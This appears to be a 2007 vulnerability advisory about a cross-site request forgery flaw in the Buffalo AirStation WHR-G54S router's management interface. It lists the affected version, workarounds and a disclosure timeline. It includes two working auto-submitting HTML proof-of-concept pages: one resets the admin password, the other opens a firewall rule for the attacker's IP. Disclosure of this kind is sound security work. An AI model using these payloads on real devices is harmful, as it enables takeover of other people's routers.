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| During cursory inspection of WHR-G54S it was discovered that a cross site request forgery vulnerability exists in the management interface. Thus, it is possible for an attacker to perform any administrative action in the management interface. These include e.g. changing administrative password or adding new firewall rules. |
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Credit:
The information has been provided by Henri Lindberg - Smilehouse Oy.
The original article can be found at: http://www.louhi.fi/advisory/buffalo_070907.txt
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Vulnerable Systems:
* WHR-G54S version 1.20
Buffalo AirStation WHR-G54S Ver.1.20 device management interface does not validate the origin of an HTTP request. If attacker is able to make user visit a hostile web page, a device can be controlled by submitting suitable forms. It is possible to add new users for example.
Successful attack requires that the attacker knows the management interface address for the target device. As authentication is done using HTTP Basic authentication, exploiting this vulnerability requires more effort compared to forms authentication.
Proof of Concept:
<html>
<body onload="document.CSRF.submit()">
<form name="CSRF" method="post"
action="http://192.168.11.1/cgi-bin/cgi?req=inp&res=ap.html
"style="display:none">
<input name="ap" value="Evil">
<input name="TEST_INPUT" value="1">
<input name="edit_ropass" value="evil">
<input name="edit_ropass2" value="evil">
<input name="ropass" value="live">
<input name="gupass" value="">
</form>
</body>
</html>
Note: ropass value is reversed edit_ropass value.
<html>
<body onload="document.CSRF.submit()">
<form name="CSRF" method="post"
action="http://192.168.11.1/cgi-bin/cgi?req=inp&res=filter_ip.html"
style="display:none">
<input name="sela" value="ACCEPT">
<input name="sel_direction" value="WAN">
<input name="H_sour_ip" value="1.1.1.1">
<input name="H_dest_ip" value="">
<input name="H_prt" value="all">
<input name="Do_ADDtop" value="Add%A0%28Head%29">
</form>
</body>
</html>
1.1.1.1 = attacker's IP address
Workaround:
Do not browse untrusted websites while using the management interface.
Log out after administering the device.
Disclosure Timeline:
XX July 2007 - Discovered the issue
15. August 2007 - Contacted Buffalo
17. August 2007 - Contacted Buffalo again.
7. September 2007 - No response from Vendor.
7. September 2007 - Advisory released
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